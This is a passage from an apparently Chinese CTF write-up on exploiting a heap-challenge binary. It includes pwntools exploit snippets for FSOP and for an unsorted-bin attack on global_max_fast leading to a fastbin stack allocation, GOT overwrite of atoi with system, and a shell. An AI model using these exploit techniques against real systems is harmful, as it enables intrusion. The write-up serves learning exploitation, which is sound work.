    6
    7
    8
    9
    10
    11
    12
    13
    out(p, 0)
    out(p, 2)
    pay = '5' * 0x210
    '''
    stack_v5_plus1= 0x7fffffffdb39
    pwndbg> p $rbp
    $1 = (void *) 0x7fffffffd5f0
    '''
    pay += p64(stack_v5_plus1 - 0x7fffffffdb39 + 0x7fffffffd5f0) + p64(0x61) #覆盖read输入buff到RBP处,使得后面触发栈溢出,同时覆盖chunk2的size为0x61,用于FSOP
    pay += p64(0) + '\x10\x25' #modify low 2 byte as x510(x:0-f), turn off aslr, the base is: 0x7ffff7a0d000, so _IO_list_all-0x10 is: 0x7ffff7a0d000 + 0x3c5510 = 7FFFF7DD2510, low 2 byte is: 2510
    new(p, pay) #5=0
    p.recvuntil('choice: ')
    p.sendline('1') #再次申请chunk,会有1/16几率触发FSOP,劫持程序流到chunk2之前伪造好的edit_addr = 0x400B59
    
  4. 劫持程序流到存在栈溢出的edit函数,由于FSOP时修改RDI,使得输入buff位于RBP处,因此只需要溢出8个字节即可覆盖到返回地址,从而通过csu_init即可泄漏read_got,再修改atoi_got为system,当再次运行atoi时,输入/bin/sh,getshell。(当程序没有使用atoi这些和system同样接受单个参数的函数时,需要先用read在bss上布置system地址和/bin/sh,再通过csu_init执行system)

解法二:Unsorted_Bin_Attack修改global_max_fast、Alloc_to_stack
  1. 分配5个chunk,chunk0和chunk1用于unsorted_bin_attack修改global_max_fast,同解法一:unsortedbin的偏移:0x3C4B78global_max_fast - 0x10的偏移:0x3c67e8,因此,当无法泄漏libc基址的前提下,ASLR保证了低12位不变,由于两者之间仅存在4位的差别,将原本保存unsortedbin的chunk的bk修改低16位为x7e8,x取0-f,则有1/16的几率碰撞成功。

  2. 修改global_max_fast后,所有释放chunk会被放入fastbin。chunk2和chunk3用于构造fastbin链,先释放chunk3,再释放chunk2,再申请一个chunk,可重新分配到chunk2,通过堆溢出修改chunk3的fd为栈上伪造的0x111块,再次申请chunk即可Alloc_to_stack。通过覆盖return_addr即可泄漏read_got,再修改atoi_got为system。

    1
    2
    3
    4
    5
    6
    7
    out(p, 3)
    out(p, 2) #fastbin: 2->3
    pay = 'a'*0x100 + p64(0) + p64(0x111) #堆溢出修改chunk3
    pay += p64(stack_v5_plus1 - 0x7fffffffdb39 + 0x7fffffffdae0 - 0x8) #fastbin: 2->3->getnum_buff
    new(p, pay) #7 = 2, overwrite chunk3
    new(p, '8') #8 = 3
    out(p, p64(0x111)) #栈上没有满足0x111的字段,需要通过getnum函数输入伪造输入缓冲区0x7fffffffdae0为0x0000000000000111,由于atoi(0x7fffffffdae0)=0,因此不会引起程序异常退出!
    

注意:由于本题限制了read的nbytes,当Alloc_to_stack后,通过read读取,buff+nbytes(0x7fffffffdab8+0x23a0=7FFFFFFFFE58)会超过栈底(0x7ffffffff000),导致无法写入,因此运行时需要增加argv增加栈长度,仅适用于本地攻击。

0x400abb <new+76>     call   read@plt <0x400770>
        fd: 0x0
        buf: 0x7fffffffdab8
        nbytes: 0x23a0
0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]